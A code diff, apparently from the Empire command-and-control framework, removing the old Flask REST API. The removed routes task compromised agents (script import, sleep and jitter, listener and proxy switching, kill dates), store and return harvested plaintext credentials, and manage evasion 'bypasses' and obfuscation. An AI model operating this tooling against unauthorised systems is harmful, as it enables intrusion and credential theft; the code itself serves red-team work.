- elif agent.language == "csharp":
- task_id = main.agents.add_agent_task_db(
- agent.session_id,
- "TASK_SHELL",
- "Set-Delay " + str(agent_delay) + " " + str(agent_jitter),
- )
-
- Session().commit()
-
- # dispatch this event
- msg = "[*] Tasked agent to sleep delay/jitter {}/{}".format(
- agent_delay, agent_jitter
- )
- main.agents.save_agent_log(agent.session_id, msg)
-
- return jsonify({"success": True, "taskID": task_id})
-
- @app.route("/api/agents//script_import", methods=["POST"])
- def task_agent_script_import(agent_name):
- """
- Imports a PowerShell script and keeps it in memory in the agent.
-
- Takes {'script_name':'script_name'}
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- script_name = request.json["script_name"]
-
- try:
- with open(f"{main.directory['downloads']}{script_name}", "r") as f:
- script_data = f.read()
- except:
- return make_response(jsonify({"error": "Unable to find script"}))
-
- # strip out comments and blank lines from the imported script
- script_data = helpers.strip_powershell_comments(script_data)
-
- # add task command to agent taskings
- msg = "tasked agent %s to run command %s" % (agent.session_id, script_data)
- main.agents.save_agent_log(agent.session_id, msg)
- task_id = main.agents.add_agent_task_db(
- agent.session_id, "TASK_SCRIPT_IMPORT", script_data, uid=g.user["id"]
- )
-
- return jsonify({"success": True, "taskID": task_id})
-
- @app.route("/api/agents//script_command", methods=["POST"])
- def task_agent_script_command(agent_name):
- """
- "Execute a function in the currently imported PowerShell script."
-
- Takes {'script':'scipt_command'}
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- command = request.json["script"]
-
- # add task command to agent taskings
- msg = "tasked agent %s to run command %s" % (agent.session_id, command)
- main.agents.save_agent_log(agent.session_id, msg)
- task_id = main.agents.add_agent_task_db(
- agent.session_id, "TASK_SCRIPT_COMMAND", command, uid=g.user["id"]
- )
-
- return jsonify({"success": True, "taskID": task_id})
-
- @app.route("/api/agents//update_comms", methods=["PUT"])
- def agent_update_comms(agent_name):
- """
- Dynamically update the agent comms to another
-
- Takes {'listener': 'name'}
- """
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- if not "listener" in request.json:
- return make_response(
- jsonify({"error": 'JSON body must include key "listener"'}), 400
- )
-
- listener_name = request.json["listener"]
-
- if not main.listeners.is_listener_valid(listener_name):
- return jsonify({"error": "Please enter a valid listener name."})
- else:
- active_listener = main.listeners.activeListeners[listener_name]
- listener_options = active_listener["options"]
- listener_comms = main.listeners.loadedListeners[
- active_listener["moduleName"]
- ].generate_comms(listener_options, language="powershell")
-
- main.agents.add_agent_task_db(
- agent_name,
- "TASK_UPDATE_LISTENERNAME",
- listener_options["Name"]["Value"],
- )
- main.agents.add_agent_task_db(
- agent_name, "TASK_SWITCH_LISTENER", listener_comms
- )
-
- msg = "Tasked agent to update comms to %s listener" % listener_name
- main.agents.save_agent_log(agent_name, msg)
- return jsonify({"success": True})
-
- @app.route("/api/agents//proxy", methods=["GET"])
- def get_proxy_info(agent_name):
- """
- Returns JSON describing the specified currently module.
- """
- proxy_info = {
- "Name": "Proxies",
- "Author": "Cx01N",
- "Background": "",
- "Comments": "",
- "Description": "",
- "options": {
- "Address": {
- "Description": "Address for the proxy.",
- "Required": True,
- "Value": "",
- "SuggestedValues": "",
- "Strict": "",
- },
- "Proxy_Type": {
- "Description": "Type of proxy to be used.",
- "Required": True,
- "Value": "",
- "SuggestedValues": [
- "SOCKS4",
- "SOCKS5",
- "HTTP",
- "SSL",
- "SSL_WEAK",
- "SSL_ANON",
- "TOR",
- "HTTPS",
- "HTTP_CONNECT",
- "HTTPS_CONNECT",
- ],
- "Strict": True,
- },
- "Port": {
- "Description": "Port number for the proxy.",
- "Required": True,
- "Value": "",
- "SuggestedValues": "",
- "Strict": "",
- },
- },
- }
-
- return jsonify({"proxy": proxy_info})
-
- @app.route("/api/agents//proxy", methods=["PUT"])
- def agent_update_proxy(agent_name):
- """
- Dynamically update the agent proxy
-
- Takes {'proxy': 'options'}
- """
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- if not "proxy" in request.json:
- return make_response(
- jsonify({"error": 'JSON body must include key "listener"'}), 400
- )
-
- proxy_list = request.json["proxy"]
- for x in range(len(proxy_list)):
- proxy_list[0]["proxytype"] = PROXY_NAME[proxy_list[0]["proxytype"]]
-
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == agent_name,
- models.Agent.name == agent_name,
- )
- )
- .first()
- )
- agent.proxy = proxy_list
- Session().commit()
-
- main.agents.add_agent_task_db(
- agent_name, "TASK_SET_PROXY", json.dumps(proxy_list)
- )
-
- return jsonify({"success": True})
-
- @app.route("/api/agents//killdate", methods=["PUT"])
- def agent_kill_date(agent_name):
- """
- Set an agent's killdate (01/01/2016)
-
- Takes {'kill_date': 'date'}
- """
-
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- if not "kill_date" in request.json:
- return make_response(
- jsonify({"error": 'JSON body must include key "kill_date"'}), 400
- )
-
- try:
- kill_date = request.json["kill_date"]
-
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == agent_name,
- models.Agent.name == agent_name,
- )
- )
- .first()
- )
- agent.kill_date = kill_date
- Session().commit()
-
- # task the agent
- main.agents.add_agent_task_db(
- agent_name, "TASK_SHELL", "Set-KillDate " + str(kill_date)
- )
-
- # update the agent log
- msg = "Tasked agent to set killdate to " + str(kill_date)
- main.agents.save_agent_log(agent_name, msg)
- return jsonify({"success": True})
- except:
- return jsonify({"error": "Unable to update agent killdate"})
-
- @app.route("/api/agents//workinghours", methods=["PUT"])
- def agent_working_hours(agent_name):
- """
- Set an agent's working hours (9:00-17:00)
-
- Takes {'working_hours': 'working_hours'}
- """
-
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- if not "working_hours" in request.json:
- return make_response(
- jsonify({"error": 'JSON body must include key "working_hours"'}), 400
- )
-
- try:
- working_hours = request.json["working_hours"]
- working_hours = working_hours.replace(",", "-")
-
- agent = (
- Session()
- .query(models.Agent)
- .filter(
- or_(
- models.Agent.session_id == agent_name,
- models.Agent.name == agent_name,
- )
- )
- .first()
- )
- agent.working_hours = working_hours
- Session().commit()
-
- # task the agent
- main.agents.add_agent_task_db(
- agent_name, "TASK_SHELL", "Set-WorkingHours " + str(working_hours)
- )
-
- # update the agent log
- msg = "Tasked agent to set working hours to " + str(working_hours)
- main.agents.save_agent_log(agent_name, msg)
- return jsonify({"success": True})
- except:
- return jsonify({"error": "Unable to update agent working hours"})
-
- @app.route("/api/agents//rename", methods=["POST"])
- def task_agent_rename(agent_name):
- """
- Renames the specified agent.
-
- Takes {'newname': 'NAME'}
- """
-
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if not agent:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- new_name = request.json["newname"]
-
- try:
- result = main.agents.rename_agent(agent_name, new_name)
-
- if not result:
- return make_response(
- jsonify(
- {
- "error": "error in renaming %s to %s, new name may have already been used"
- % (agent_name, new_name)
- }
- ),
- 400,
- )
-
- return jsonify({"success": True})
-
- except Exception:
- return make_response(
- jsonify(
- {"error": "error in renaming %s to %s" % (agent_name, new_name)}
- ),
- 400,
- )
-
- @app.route("/api/agents//clear", methods=["POST", "GET"])
- def task_agent_clear(agent_name):
- """
- Clears the tasking buffer for the specified agent.
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- main.agents.clear_agent_tasks_db(agent_name)
-
- return jsonify({"success": True})
-
- @app.route("/api/agents//kill", methods=["POST", "GET"])
- def task_agent_kill(agent_name):
- """
- Tasks the specified agent to exit.
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- # task the agent to exit
- msg = "tasked agent %s to exit" % agent.session_id
- main.agents.save_agent_log(agent.session_id, msg)
- main.agents.add_agent_task_db(agent.session_id, "TASK_EXIT", uid=g.user["id"])
-
- return jsonify({"success": True})
-
- @app.route("/api/agents//notes", methods=["POST"])
- def update_agent_notes(agent_name):
- """
- Update notes on specified agent.
- {"notes" : "notes here"}
- """
-
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- if not "notes" in request.json:
- return make_response(
- jsonify({"error": 'JSON body must include key "notes"'}), 400
- )
-
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
- if not agent:
- return make_response(
- jsonify({"error": f"Agent not found with name {agent_name}"})
- )
-
- agent.notes = request.json["notes"]
- Session().commit()
-
- return jsonify({"success": True})
-
- @app.route("/api/creds", methods=["GET"])
- def get_creds():
- """
- Returns JSON describing the credentials stored in the backend database.
- """
- credential_list = []
- credentials_raw = Session().query(models.Credential).all()
-
- for credential in credentials_raw:
- credential_list.append(
- {
- "ID": credential.id,
- "credtype": credential.credtype,
- "domain": credential.domain,
- "username": credential.username,
- "password": credential.password,
- "host": credential.host,
- "os": credential.os,
- "sid": credential.sid,
- "notes": credential.notes,
- }
- )
-
- return jsonify({"creds": credential_list})
-
- @app.route("/api/creds/", methods=["GET"])
- def get_cred(uid):
- """
- Returns JSON describing the credentials stored in the backend database.
- """
- credential = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.id == uid)
- .first()
- )
-
- if credential:
- return {
- "ID": credential.id,
- "credtype": credential.credtype,
- "domain": credential.domain,
- "username": credential.username,
- "password": credential.password,
- "host": credential.host,
- "os": credential.os,
- "sid": credential.sid,
- "notes": credential.notes,
- }
-
- return make_response(jsonify({"error": f"Credential {uid} not found"}), 404)
-
- @app.route("/api/creds", methods=["POST"])
- def add_creds():
- """
- Adds credentials to the database
- """
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- required_fields = ["credtype", "domain", "username", "password", "host"]
- optional_fields = ["OS", "notes", "sid"]
-
- cred = request.json
-
- # ensure every credential given to us has all the required fields
- if not all(k in cred for k in required_fields):
- return make_response(jsonify({"error": "invalid credential fields"}), 400)
- # ensure the type is either "hash" or "plaintext"
- if not (cred["credtype"] == "hash" or cred["credtype"] == "plaintext"):
- return make_response(
- jsonify(
- {
- "error": 'invalid credential type in credtype, must be "hash" or "plaintext"'
- }
- ),
- 400,
- )
-
- os = request.json.get("os", "")
- notes = request.json.get("notes", "")
- sid = request.json.get("sid", "")
-
- credential = main.credentials.add_credential(
- cred["credtype"],
- cred["domain"],
- cred["username"],
- cred["password"],
- cred["host"],
- os,
- sid,
- notes,
- )
-
- if credential:
- return {
- "ID": credential.id,
- "credtype": credential.credtype,
- "domain": credential.domain,
- "username": credential.username,
- "password": credential.password,
- "host": credential.host,
- "os": credential.os,
- "sid": credential.sid,
- "notes": credential.notes,
- }
- return make_response(
- jsonify(
- {
- "error": f"Error writing credential. Check you aren't writing a duplicate."
- }
- ),
- 400,
- )
-
- @app.route("/api/creds/", methods=["DELETE"])
- def remove_cred(uid):
- """
- Delete credential from database.
- """
- cred = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.id == uid)
- .first()
- )
- if cred:
- Session().delete(cred)
- Session().commit()
- return jsonify({"success": True})
-
- return make_response(jsonify({"error": f"Credential {cred} not found"}), 404)
-
- @app.route("/api/creds/", methods=["PUT"])
- def edit_cred(uid):
- """
- Edit credential in database
- """
- if not request.json:
- abort(400)
-
- required_fields = ["credtype", "domain", "username", "password", "host"]
-
- if not all(k in request.json for k in required_fields):
- return make_response(jsonify({"error": "invalid credential"}), 400)
-
- # ensure the type is either "hash" or "plaintext"
- if not (
- request.json["credtype"] == "hash"
- or request.json["credtype"] == "plaintext"
- ):
- return make_response(
- jsonify(
- {"error": 'invalid credential type, must be "hash" or "plaintext"'}
- ),
- 400,
- )
-
- credential: models.Credential = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.id == uid)
- .first()
- )
-
- if credential:
- credential.credtype = request.json["credtype"]
- credential.domain = request.json["domain"]
- credential.username = request.json["username"]
- credential.password = request.json["password"]
- credential.host = request.json["host"]
- credential.os = request.json.get("os", "")
- credential.notes = request.json.get("notes", "")
- credential.sid = request.json.get("sid", "")
- Session().commit()
- return {
- "ID": credential.id,
- "credtype": credential.credtype,
- "domain": credential.domain,
- "username": credential.username,
- "password": credential.password,
- "host": credential.host,
- "os": credential.os,
- "sid": credential.sid,
- "notes": credential.notes,
- }
-
- return make_response(jsonify({"error": f"Credential {uid} not found"}), 404)
-
- @app.route("/api/reporting", methods=["GET"])
- def get_reporting():
- """
- Returns JSON describing the reporting events from the backend database.
- """
- # Add filters for agent, event_type, and MAYBE a like filter on msg
- reporting_raw = main.run_report_query()
- reporting_events = []
-
- for reporting_event in reporting_raw:
- reporting_events.append(
- {
- "timestamp": reporting_event.timestamp,
- "event_type": reporting_event.event_type,
- "username": reporting_event.username,
- "agent_name": reporting_event.agent_name,
- "host_name": reporting_event.hostname,
- "taskID": reporting_event.taskID,
- "task": reporting_event.task,
- "results": reporting_event.results,
- }
- )
-
- return jsonify({"reporting": reporting_events})
-
- @app.route("/api/reporting/generate", methods=["GET"])
- def generate_report():
- """
- Generates reports on the backend database.
- """
-
- report_directory = main.generate_report()
- return jsonify({"report": report_directory})
-
- @app.route("/api/reporting/agent/", methods=["GET"])
- def get_reporting_agent(reporting_agent):
- """
- Returns JSON describing the reporting events from the backend database for
- the agent specified by reporting_agent.
- """
-
- # first resolve the supplied name to a sessionID
- session_id = (
- Session()
- .query(models.Agent.session_id)
- .filter(models.Agent.name == reporting_agent)
- .scalar()
- )
- if not session_id:
- return jsonify({"reporting": ""})
-
- # lots of confusion around name/session_id in these queries.
- reporting_raw = (
- Session()
- .query(models.Reporting)
- .filter(models.Reporting.name.contains(session_id))
- .all()
- )
- reporting_events = []
-
- for reporting_event in reporting_raw:
- reporting_events.append(
- {
- "ID": reporting_event.id,
- "agentname": reporting_event.name,
- "event_type": reporting_event.event_type,
- "message": json.loads(reporting_event.message),
- "timestamp": reporting_event.timestamp,
- "taskID": reporting_event.taskID,
- }
- )
-
- return jsonify({"reporting": reporting_events})
-
- @app.route("/api/reporting/type/", methods=["GET"])
- def get_reporting_type(event_type):
- """
- Returns JSON describing the reporting events from the backend database for
- the event type specified by event_type.
- """
- reporting_raw = (
- Session()
- .query(models.Reporting)
- .filter(models.Reporting.event_type == event_type)
- .all()
- )
- reporting_events = []
-
- for reporting_event in reporting_raw:
- reporting_events.append(
- {
- "ID": reporting_event.id,
- "agentname": reporting_event.name,
- "event_type": reporting_event.event_type,
- "message": json.loads(reporting_event.message),
- "timestamp": reporting_event.timestamp,
- "taskID": reporting_event.taskID,
- }
- )
-
- return jsonify({"reporting": reporting_events})
-
- @app.route("/api/reporting/msg/", methods=["GET"])
- def get_reporting_msg(msg):
- """
- Returns JSON describing the reporting events from the backend database for
- the any messages with *msg* specified by msg.
- """
- reporting_raw = (
- Session()
- .query(models.Reporting)
- .filter(models.Reporting.message.contains(msg))
- .all()
- )
- reporting_events = []
-
- for reporting_event in reporting_raw:
- reporting_events.append(
- {
- "ID": reporting_event.id,
- "agentname": reporting_event.name,
- "event_type": reporting_event.event_type,
- "message": json.loads(reporting_event.message),
- "timestamp": reporting_event.timestamp,
- "taskID": reporting_event.taskID,
- }
- )
-
- return jsonify({"reporting": reporting_events})
-
- @app.route("/api/malleable-profiles", methods=["GET"])
- def get_malleable_profiles():
- """
- Returns JSON with all currently registered profiles.
- """
- active_profiles_raw = Session().query(models.Profile).all()
-
- profiles = []
- for active_profile in active_profiles_raw:
- profiles.append(
- {
- "name": active_profile.name,
- "category": active_profile.category,
- "data": active_profile.data,
- "file_path": active_profile.file_path,
- "created_at": active_profile.created_at,
- "updated_at": active_profile.updated_at,
- }
- )
-
- return jsonify({"profiles": profiles})
-
- @app.route("/api/malleable-profiles/", methods=["GET"])
- def get_malleable_profile(profile_name):
- """
- Returns JSON with the requested profile
- """
- profile = (
- Session()
- .query(models.Profile)
- .filter(models.Profile.name == profile_name)
- .first()
- )
-
- if profile:
- return {
- "name": profile.name,
- "category": profile.category,
- "data": profile.data,
- "file_path": profile.file_path,
- "created_at": profile.created_at,
- "updated_at": profile.updated_at,
- }
-
- return make_response(
- jsonify({"error": f"malleable profile {profile_name} not found"}), 404
- )
-
- @app.route("/api/malleable-profiles", methods=["POST"])
- def add_malleable_profile():
- """
- Add malleable profile to database
- """
- if (
- not request.json
- or "name" not in request.json
- or "category" not in request.json
- or "data" not in request.json
- ):
- abort(400)
-
- profile_name = request.json["name"]
- profile_category = request.json["category"]
- profile_data = request.json["data"]
-
- profile = (
- Session()
- .query(models.Profile)
- .filter(models.Profile.name == profile_name)
- .first()
- )
- if not profile:
- profile = models.Profile(
- name=profile_name,
- file_path="",
- category=profile_category,
- data=profile_data,
- )
- Session().add(profile)
- Session().commit()
- return {
- "name": profile.name,
- "category": profile.category,
- "data": profile.data,
- "file_path": profile.file_path,
- "created_at": profile.created_at,
- "updated_at": profile.updated_at,
- }
-
- return make_response(
- jsonify({"error": f"malleable profile {profile_name} already exists"}), 400
- )
-
- @app.route("/api/malleable-profiles/", methods=["DELETE"])
- def remove_malleable_profiles(profile_name):
- """
- Delete malleable profiles from database.
- Note: If a .profile file exists on the server, the profile will repopulate in the database when Empire restarts.
- """
- profile = (
- Session()
- .query(models.Profile)
- .filter(models.Profile.name == profile_name)
- .first()
- )
- if profile:
- Session().delete(profile)
- Session().commit()
- return jsonify({"success": True})
-
- return make_response(
- jsonify({"error": f"malleable profile {profile_name} not found"}), 404
- )
-
- @app.route("/api/malleable-profiles/", methods=["PUT"])
- def edit_malleable_profiles(profile_name):
- """
- Edit malleable profiles in database
- """
- if not request.json or "data" not in request.json:
- abort(400)
-
- profile_data = request.json["data"]
-
- profile = (
- Session()
- .query(models.Profile)
- .filter(models.Profile.name == profile_name)
- .first()
- )
-
- if profile:
- profile.data = profile_data
- Session().commit()
- return {
- "name": profile.name,
- "category": profile.category,
- "data": profile.data,
- "file_path": profile.file_path,
- "created_at": profile.created_at,
- "updated_at": profile.updated_at,
- }
-
- return make_response(
- jsonify({"error": f"malleable profile {profile_name} not found"}), 404
- )
-
- @app.route("/api/malleable-profiles/export", methods=["POST"])
- def export_malleable_profiles():
- """
- Export malleable profiles from database to files
- """
- # TODO: add option to export profiles from the database to files
- return jsonify({"success": True})
-
- @app.route("/api/bypasses", methods=["GET"])
- def get_bypasses():
- """
- Returns JSON with all the bypasses.
- """
- bypasses_raw = Session().query(models.Bypass).all()
-
- bypasses = []
- for bypass in bypasses_raw:
- bypasses.append(
- {
- "id": bypass.id,
- "name": bypass.name,
- "code": bypass.code,
- "created_at": bypass.created_at,
- "updated_at": bypass.updated_at,
- "language": bypass.language,
- }
- )
-
- return {"bypasses": bypasses}
-
- @app.route("/api/bypasses/", methods=["GET"])
- def get_bypass(uid: int):
- """
- Returns JSON with a single bypass
- """
- bypass = Session().query(models.Bypass).filter(models.Bypass.id == uid).first()
-
- if not bypass:
- return make_response(jsonify({"error": f"bypass {uid} not found"}), 404)
-
- return {
- "id": bypass.id,
- "name": bypass.name,
- "code": bypass.code,
- "created_at": bypass.created_at,
- "updated_at": bypass.updated_at,
- "language": bypass.language,
- }
-
- @app.route("/api/bypasses", methods=["POST"])
- def create_bypass():
- """
- Create a bypass
- """
- if not request.json or "name" not in request.json or "code" not in request.json:
- abort(400)
-
- name = request.json["name"].lower()
- bypass = (
- Session().query(models.Bypass).filter(models.Bypass.name == name).first()
- )
- if not bypass:
- bypass = models.Bypass(name=name, code=request.json["code"])
- Session().add(bypass)
- Session().commit()
-
- return {
- "id": bypass.id,
- "name": bypass.name,
- "code": bypass.code,
- "created_at": bypass.created_at,
- "updated_at": bypass.updated_at,
- "language": bypass.language,
- }
-
- return make_response(jsonify({"error": f"bypass {name} already exists"}), 400)
-
- @app.route("/api/bypasses/", methods=["PUT"])
- def edit_bypass(uid: int):
- """
- Edit a bypass
- """
- if not request.json or "code" not in request.json:
- abort(400)
-
- bypass = Session().query(models.Bypass).filter(models.Bypass.id == uid).first()
- if not bypass:
- return make_response(jsonify({"error": f"bypass {uid} not found"}), 404)
-
- bypass.code = request.json["code"]
- Session().commit()
-
- return {
- "id": bypass.id,
- "name": bypass.name,
- "code": bypass.code,
- "created_at": bypass.created_at,
- "updated_at": bypass.updated_at,
- "language": bypass.language,
- }
-
- @app.route("/api/bypasses/", methods=["DELETE"])
- def delete_bypass(uid: int):
- """
- Delete a bypass
- """
- bypass = Session().query(models.Bypass).filter(models.Bypass.id == uid).first()
-
- if not bypass:
- return make_response(jsonify({"error": f"bypass {uid} not found"}), 404)
-
- Session().delete(bypass)
- Session().commit()
- return jsonify({"success": True})
-
- @app.route("/api/admin/login", methods=["POST"])
- def server_login():
- """
- Takes a supplied username and password and returns the current API token
- if authentication is accepted.
- """
- if (
- not request.json
- or not "username" in request.json
- or not "password" in request.json
- ):
- abort(400)
-
- supplied_username = request.json["username"]
- supplied_password = request.json["password"]
-
- # try to prevent some basic bruting
- time.sleep(2)
- token = main.users.user_login(supplied_username, supplied_password)
-
- if token:
- return jsonify({"token": token})
- else:
- return make_response("", 401)
-
- @app.route("/api/admin/logout", methods=["POST"])
- def server_logout():
- """
- Logs out current user
- """
- main.users.user_logout(g.user["id"])
- return jsonify({"success": True})
-
- @app.route("/api/admin/restart", methods=["GET", "POST", "PUT"])
- def signal_server_restart():
- """
- Signal a restart for the Flask server and any Empire instance.
- """
- restart_server()
- return jsonify({"success": True})
-
- @app.route("/api/admin/shutdown", methods=["GET", "POST", "PUT"])
- def signal_server_shutdown():
- """
- Signal a restart for the Flask server and any Empire instance.
- """
- shutdown_server()
- return jsonify({"success": True})
-
- @app.route("/api/admin/options", methods=["POST"])
- def set_admin_options():
- """
- Admin menu options for obfuscation
- """
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- # Set global obfuscation
- if "obfuscate" in request.json:
- if request.json["obfuscate"].lower() == "true":
- main.obfuscate = True
- else:
- main.obfuscate = False
- msg = f"[*] Global obfuscation set to {request.json['obfuscate']}"
-
- # if obfuscate command is given then set, otherwise use default
- elif "obfuscate_command" in request.json:
- main.obfuscateCommand = request.json["obfuscate_command"]
- msg = f"[*] Global obfuscation command set to {request.json['obfuscate_command']}"
-
- # add keywords to the obfuscation database
- elif "keyword_obfuscation" in request.json:
- keyword = request.json["keyword_obfuscation"]
- keyword_replacement = request.json["keyword_replacement"]
- keyword_obfuscation = (
- Session()
- .query(models.Keyword)
- .filter(models.Keyword.keyword == keyword)
- .first()
- )
- if not keyword_obfuscation:
- try:
- Session().add(
- models.Keyword(keyword=keyword, replacement=keyword_replacement)
- )
- msg = f"[*] Keyword obfuscation set to replace {request.json['keyword_obfuscation']} with {keyword_replacement}"
- except Exception as e:
- print(helpers.color(f"[!] Error: {e}"))
- else:
- keyword_obfuscation.replacement = keyword_replacement
- msg = f"[*] Keyword obfuscation updated to replace {request.json['keyword_obfuscation']} with {keyword_replacement}"
- Session().commit()
-
- elif "preobfuscation" in request.json:
- obfuscate_command = request.json["preobfuscation"]
- if request.json["force_reobfuscation"].lower() == "true":
- force_reobfuscation = True
- else:
- force_reobfuscation = False
- msg = f"[*] Preobfuscating all modules with {obfuscate_command}"
- main.preobfuscate_modules(obfuscate_command, force_reobfuscation)
- else:
- return make_response(
- jsonify({"error": "JSON body must include key valid admin option"}), 400
- )
-
- print(helpers.color(msg))
- return jsonify({"success": True})
-
- @app.route("/api/users", methods=["GET"])
- def get_users():
- """
- Returns JSON of the users from the backend database.
- """
- users_raw = Session().query(models.User).all()
-
- user_report = []
-
- for reporting_users in users_raw:
- data = {
- "ID": reporting_users.id,
- "username": reporting_users.username,
- "last_logon_time": reporting_users.last_logon_time,
- "enabled": reporting_users.enabled,
- "admin": reporting_users.admin,
- }
- user_report.append(data)
-
- return jsonify({"users": user_report})
-
- @app.route("/api/users/", methods=["GET"])
- def get_user(uid):
- """
- return the user for an id
- """
- user = Session().query(models.User).filter(models.User.id == uid).first()
-
- if user is None:
- return make_response(jsonify({"error": "user %s not found" % uid}), 404)
-
- return jsonify(
- {
- "ID": user.id,
- "username": user.username,
- "last_logon_time": user.last_logon_time,
- "enabled": user.enabled,
- "admin": user.admin,
- "notes": user.notes,
- }
- )
-
- @app.route("/api/users/me", methods=["GET"])
- def get_user_me():
- """
- Returns the current user.
- """
- return jsonify(g.user)
-
- @app.route("/api/users", methods=["POST"])
- def create_user():
- # Check that input is a valid request
- if (
- not request.json
- or not "username" in request.json
- or not "password" in request.json
- ):
- abort(400)
-
- # Check if user is an admin
- if not main.users.is_admin(g.user["id"]):
- abort(403)
-
- status = main.users.add_new_user(
- request.json["username"], request.json["password"]
- )
- return jsonify({"success": status})
-
- @app.route("/api/users//disable", methods=["PUT"])
- def disable_user(uid):
- # Don't disable yourself
- if not request.json or not "disable" in request.json or uid == g.user["id"]:
- abort(400)
-
- # User performing the action should be an admin.
- # User being updated should not be an admin.
- if not main.users.is_admin(g.user["id"]) or main.users.is_admin(uid):
- abort(403)
-
- status = main.users.disable_user(uid, request.json["disable"])
- return jsonify({"success": status})
-
- @app.route("/api/users//updatepassword", methods=["PUT"])
- def update_user_password(uid):
- if not request.json or not "password" in request.json:
- abort(400)
-
- # Must be an admin or updating self.
- if not (main.users.is_admin(g.user["id"]) or uid == g.user["id"]):
- abort(403)
-
- status = main.users.update_password(uid, request.json["password"])
- return jsonify({"success": status})
-
- @app.route("/api/users//notes", methods=["POST"])
- def update_user_notes(uid):
- """
- Update notes for a user.
- {"notes" : "notes here"}
- """
-
- if not request.json:
- return make_response(
- jsonify({"error": "request body must be valid JSON"}), 400
- )
-
- if "notes" not in request.json:
- return make_response(
- jsonify({"error": 'JSON body must include key "notes"'}), 400
- )
-
- user = Session().query(models.User).filter(models.User.id == uid).first()
- user.notes = request.json["notes"]
- Session().commit()
-
- return jsonify({"success": True})
-
- @app.route("/api/plugins/active", methods=["GET"])
- def list_active_plugins():
- """
- Lists all active plugins
- """
- plugins = []
-
- # check for loaded plugins
- active_plugins = list(empireMenu.loadedPlugins.keys())
- for plugin_name in active_plugins:
- plugin = empireMenu.loadedPlugins[plugin_name]
- # check if plugin info is tuple. This is because the original example plugin
- # accidentally created a tuple with a trailing comma
- if isinstance(plugin.info, tuple):
- data = plugin.info[0]
- else:
- data = plugin.info
- data["options"] = plugin.options
- plugins.append(data)
-
- return jsonify({"plugins": plugins})
-
- @app.route("/api/plugins/", methods=["GET"])
- def get_plugin(plugin_name):
- # check if the plugin has already been loaded
- if plugin_name not in empireMenu.loadedPlugins.keys():
- try:
- empireMenu.do_plugin(plugin_name)
- except:
- return make_response(
- jsonify({"error": "plugin %s not found" % plugin_name}), 400
- )
- # get the commands available to the user. This can probably be done in one step if desired
- name = empireMenu.loadedPlugins[plugin_name].get_commands()["name"]
- commands = empireMenu.loadedPlugins[plugin_name].get_commands()["commands"]
- description = empireMenu.loadedPlugins[plugin_name].get_commands()[
- "description"
- ]
- data = {"name": name, "commands": commands, "description": description}
- return jsonify(data)
-
- @app.route("/api/plugins/", methods=["POST"])
- def execute_plugin(plugin_name):
- # check if the plugin has been loaded
- if plugin_name not in empireMenu.loadedPlugins.keys():
- return make_response(
- jsonify({"error": "plugin %s not loaded" % plugin_name}), 404
- )
-
- use_plugin = empireMenu.loadedPlugins[plugin_name]
-
- # set all passed module options
- for key, value in request.json.items():
- if key not in use_plugin.options:
- return make_response(jsonify({"error": "invalid module option"}), 400)
-
- use_plugin.options[key]["Value"] = value
-
- for option, values in use_plugin.options.items():
- if values["Required"] and (
- (not values["Value"]) or (values["Value"] == "")
- ):
- return make_response(
- jsonify({"error": "required module option missing"}), 400
- )
- if values["Strict"] and values["Value"] not in values["SuggestedValues"]:
- return make_response(
- jsonify(
- {"error": f"{option} must be set to one of suggested values."}
- ),
- 400,
- )
-
- results = use_plugin.execute(request.json)
- if results is False:
- return make_response(jsonify({"error": "internal plugin error"}), 400)
- return jsonify({} if results is None else results)
-
- def shutdown_server():
- """
- Shut down the Flask server and any Empire instance gracefully.
- """
- global serverExitCommand
-
- print(helpers.color("[*] Shutting down Empire RESTful API"))
-
- if suppress:
- print(helpers.color("[*] Shutting down the Empire instance"))
- main.shutdown()
-
- serverExitCommand = "shutdown"
-
- func = request.environ.get("werkzeug.server.shutdown")
- if func is not None:
- func()
-
- def restart_server():
- """
- Restart the Flask server and any Empire instance.
- """
- global serverExitCommand
-
- shutdown_server()
-
- serverExitCommand = "restart"
-
- def signal_handler(signal, frame):
- """
- Overrides the keyboardinterrupt signal handler so we can gracefully shut everything down.
- """
-
- global serverExitCommand
+import urllib3
- with app.test_request_context():
- shutdown_server()
+from empire.server.api import app
- serverExitCommand = "shutdown"
+# Empire imports
+from empire.server.common import empire
+from empire.server.core.config import empire_config
+from empire.server.core.db import base
+from empire.server.utils import file_util
+from empire.server.utils.log_util import LOG_FORMAT, SIMPLE_LOG_FORMAT, ColorFormatter
- # repair the original signal handler
- import signal
+log = logging.getLogger(__name__)
+main = None
- signal.signal(signal.SIGINT, signal.default_int_handler)
- sys.exit()
- try:
- signal.signal(signal.SIGINT, signal_handler)
- except ValueError:
- pass
+# Disable http warnings
+if empire_config.supress_self_cert_warning:
+ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
- # wrap the Flask connection in SSL and start it
- cert_path = os.path.abspath("./empire/server/data/")
- # support any version of tls
